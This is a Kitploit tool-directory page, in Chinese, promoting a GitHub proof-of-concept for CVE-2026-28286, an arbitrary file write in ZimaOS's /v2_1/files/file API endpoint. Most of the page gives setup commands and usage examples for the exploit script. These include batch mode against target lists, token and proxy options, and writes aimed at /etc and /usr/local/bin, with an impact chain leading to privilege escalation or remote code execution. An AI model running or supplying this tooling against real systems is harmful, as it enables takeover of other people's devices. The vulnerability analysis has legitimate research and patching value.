Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/rushi9/zimaos-cve-2026-28286-arbitrary-file-write
漏洞分析漏洞利用Web应用程序漏洞利用API安全测试Web安全渗透测试
GitHubrushi9/zimaos-cve-2026-28286-arbitrary-file-write

zimaos-cve-2026-28286-arbitrary-file-write

CVE-2026-28286 的 PoC 与验证工具包,该漏洞是 ZimaOS 中的任意文件写入漏洞,利用 API 配置错误将文件写入预期目录之外。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库网站
2165个月前尚未审核
分享

🚨 CVE-2026-28286 — ZimaOS 任意文件写入

从 API 配置错误 → 任意文件写入 → 潜在的系统沦陷

⚡ 快速摘要

  • 端点: /v2_1/files/file
  • 问题: 缺少路径验证
  • 影响: 可在预期目录之外进行任意文件写入
  • 严重性: 🔴 严重

🧪 快速开始

root@kitploit:~
git clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git
cd zimaos-cve-2026-28286-arbitrary-file-write
pip install -r requirements.txt
python3 poc.py

⚙️ 命令行用法

您可以使用以下命令查看所有可用选项:

root@kitploit:~
python poc.py -h

📌 可用选项

root@kitploit:~
usage: poc.py [-h] [-u URL] [-t TARGETS] [-p PATH] [--proxy PROXY] [--token TOKEN] [-n ATTEMPTS] [--delay DELAY]

options:
  -h, --help            显示帮助信息并退出
  -u, --url URL         单个目标 URL
  -t, --targets TARGETS 目标文件(批量模式)
  -p, --path PATH       自定义文件路径(默认:/tmp)
  --proxy PROXY         代理 URL(例如:http://127.0.0.1:8080)
  --token TOKEN         Bearer 认证令牌
  -n, --attempts        尝试次数
  --delay               批量请求之间的延迟(秒)

🚀 使用示例

▶️ 1. 交互模式

root@kitploit:~
python poc.py

▶️ 2. 单个目标

root@kitploit:~
python poc.py -u http://localhost:8080

▶️ 3. 自定义路径

root@kitploit:~
python poc.py -u http://localhost:8080 -p /tmp

▶️ 4. 目标敏感路径(实验室测试)

root@kitploit:~
python poc.py -u http://localhost:8080 -p /etc

▶️ 5. 多次尝试

root@kitploit:~
python poc.py -u http://localhost:8080 -n 5

▶️ 6. 使用代理(Burp Suite)

root@kitploit:~
python poc.py -u http://localhost:8080 --proxy http://127.0.0.1:8080

▶️ 7. 批量模式

root@kitploit:~
python poc.py -t targets.txt

▶️ 8. 带延迟的批量模式

root@kitploit:~
python poc.py -t targets.txt --delay 2

▶️ 9. 全功能模式(所有选项)

root@kitploit:~
python poc.py -u http://target.com -p /tmp -n 3 --proxy http://127.0.0.1:8080 --token YOUR_TOKEN

💡 提示

使用代理模式配合 Burp Suite 可以:

  • 检查请求
  • 修改载荷
  • 确认后端行为

🧠 技术分析

后端未能强制执行文件系统边界:

  • ❌ 无路径规范化
  • ❌ 无基础目录限制
  • ❌ 用户可控制绝对路径

这允许写入到:

root@kitploit:~
/tmp/
/etc/
/usr/local/bin/

💥 影响

root@kitploit:~
任意文件写入
        ↓
覆盖配置 / 脚本
        ↓
权限提升 / 远程代码执行


🎥 演示

image

📁 示例输出

root@kitploit:~
[✔] 已确认存在漏洞(LISTING_SUCCESS)
路径:/tmp/CVE-2026-28286_⚠️_abc123.txt

⭐ 支持

如果您觉得此工具有用,请考虑点个星标 ⭐ 这将帮助更多研究人员发现此工作。


⚠️ 免责声明

仅限授权测试使用。

下载工具